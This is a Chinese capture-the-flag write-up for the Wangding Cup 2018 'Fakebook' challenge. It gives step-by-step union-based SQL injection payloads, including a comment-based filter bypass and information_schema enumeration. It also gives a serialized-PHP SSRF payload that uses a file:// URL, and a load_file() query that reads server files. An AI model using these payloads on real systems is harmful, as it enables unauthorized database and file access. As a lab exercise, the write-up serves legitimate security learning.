[网鼎杯 2018]Fakebook
解法一:
首先打开靶场,看这样子像是sql注入。那我们先注册个号吧。
然后登录上去。我们试着用sql注入搞一下。
?no=1 and 1=1 //无报错
?no=1 and 1=2 //报错
经过判断,这个是数字注入。
然后再测试列,在列5时报错,看来有4列 ?no=1 order by 5#
然后我们测试一下回显位是多少:?no=-1 union select 1,2,3,4#
这次出现了此页面
经过百度之后才了解到,是过滤了 union select。百度一下,绕过方法:union/**/select
那接下来就要继续了:?no=-1 union/**/select 1,2,3,4#
得到回显位2
那我们继续:?no=-1 union/**/select 1,database(),3,4#
得到数据库名为:facebook
接下来是要爆出表名的:?no=100 union/**/select 2,group_concat(table_name),2,2 from information_schema.tables where table_schema=database()#
得出表名是:users
进一步得到字段名:?no=100 union/**/select 2,group_concat(column_name),2,2 from information_schema.columns where table_name='users'#
突然出来这么多
最后要开始读取内容了。?no=100 union/**/select 2,group_concat(data),2,2 from users#
没想到会读出来这些东西
这应该是一组序列化后的字符串,本以为要结束了。可没想到。。。。
还得回去看看有没有遗漏的点。
经过参考大佬博客,才明白里面存在着源代码泄露。
经过扫描发现了了robots.txt,我们访问一下
有这个。把这文件下载下来。得到一段代码
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog); } }
这里是源码泄露。天呐,这太可怕了。
经过分析,大概意思就是将我们输入的blog,调用get函数创建链接我们填的url,将访问该url返回的内容在页面输出。这里就是我们利用的点。
通过这段代码,这里还存在着ssrf漏洞。对于ssrf漏洞具体了解可参考此文章:https://www.jianshu.com/p/d1d1c40f6d4c
我们可以使用file协议读取本地文件。对于file协议不了解可参考此文章:https://blog.csdn.net/github_39319000/article/details/86523282
可以这样访问:file://var/www/html/flag.php
我们再回过来看得到的那一串序列化后的字符串,这样我们可以知道我们的注册信息,是以反序列化字符串储存的
以序列化的方式存储在data字段中,查询时返回序列化字符串后先进行反序列化后再提取blog网址。
那我们先构造一个php序列化字符串:
<?php class UserInfo { public $name = "sole"; //这里写的是自已的用户名 public $age = 10; //自己输入的年龄 public $blog = "file:///var/www/html/flag.php"; } $a = new UserInfo(); echo serialize($a); ?>
跑一下这个脚本就会得出:O:8:"UserInfo":3:{s:4:"name";s:4:"sole";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
然后再构造我们最终的pyload:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"sole";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
然后查看源代码,
读取出来的数据是以base64加密的,那我们解密一下。就可以得到flag了
<?php $flag = "flag{a9b350ae-2836-4350-81b3-f41ee019c4c2}"; exit(0);
解法二:
其实我们还可以直接通过sql读取函数直接读取flag.php文件,需要借助load_file()函数
里面的参数是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件就可以拿的到flag
pyload:
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+